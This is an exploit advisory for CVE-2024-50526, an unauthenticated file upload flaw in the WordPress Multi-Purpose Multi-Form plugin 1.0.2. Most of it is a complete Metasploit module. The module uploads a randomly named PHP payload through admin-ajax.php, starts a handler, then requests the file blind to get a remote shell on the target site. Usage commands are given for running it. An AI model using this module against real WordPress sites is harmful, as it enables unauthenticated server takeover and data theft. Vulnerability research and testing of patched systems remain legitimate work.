============================================================================================================================================= | # Title : WordPress MPMF Plugin 1.0.2 Unauthenticated File Upload Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214232/ & CVE-2024-50526 [+] Summary : This Metasploit module exploits an unauthenticated file upload vulnerability in the WordPress Multi‑Purpose Multi‑Form (MPMF) plugin. By abusing a vulnerable AJAX action exposed via admin-ajax.php, an attacker can upload a crafted PHP file and trigger its execution to obtain remote code execution. Due to variations in plugin versions and upload paths, the module follows a conservative and transparent exploitation approach. It does not rely on unreliable automatic detection or strict success indicators. Instead, it prioritizes correct handler ordering to avoid race conditions, supports blind triggering of the uploaded payload, and performs best‑effort cleanup where possible. [+] Usage : use exploit/multi/http/wp_mpmf_rce set RHOSTS set LHOST set TARGETURI / exploit [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress MPMF Plugin Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated file upload vulnerability in the Multi-Purpose Multi-Form (MPMF) WordPress plugin. It uploads a PHP payload via admin-ajax.php and executes it to gain a shell. The module handles logic sequencing and session persistence automatically. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [['CVE', '2024-50526']], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => { 'Compat' => { 'PayloadType' => 'php' }, 'BadChars' => "\x00" }, 'Targets' => [['WordPress / PHP', {}]], 'DisclosureDate' => '2024-10-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('AJAX_ACTION', [true, 'The AJAX action handled by the plugin', 'send_data']), OptString.new('FORM_ID', [true, 'The target mpmf_form_id', '1']), OptString.new('WP_UPLOAD_DIR', [true, 'Relative upload path', 'wp-content/uploads/mpmf_uploads']) ]) end def check CheckCode::Unknown('Manual verification required: check plugin directory and AJAX endpoint response.') end def exploit filename = "#{Rex::Text.rand_text_alpha_lower(8)}.php" php_payload = "" clean_upload_dir = datastore['WP_UPLOAD_DIR'].sub(%r{^/}, '').sub(%r{/$}, '') data = Rex::MIME::Message.new data.add_part(datastore['AJAX_ACTION'], nil, nil, 'form-data; name="action"') data.add_part(datastore['FORM_ID'], nil, nil, 'form-data; name="mpmf_form_id"') data.add_part('1', nil, nil, 'form-data; name="count_files"') data.add_part('1', nil, nil, 'form-data; name="count"') data.add_part(php_payload, 'application/octet-stream', 'binary', "form-data; name=\"file1\"; filename=\"#{filename}\"") print_status("Uploading payload #{filename}...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) fail_with(Failure::UnexpectedReply, "Upload failed (HTTP Code: #{res&.code})") unless res&.code == 200 register_file_for_cleanup(File.join(clean_upload_dir, filename)) upload_uri = normalize_uri(target_uri.path, clean_upload_dir, filename) print_status("Starting handler and waiting for session...") handler print_status("Triggering payload (Blind) via: #{upload_uri}") send_request_cgi({ 'method' => 'GET', 'uri' => upload_uri }, 5) end end Greetings to :============================================================ jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*| ==========================================================================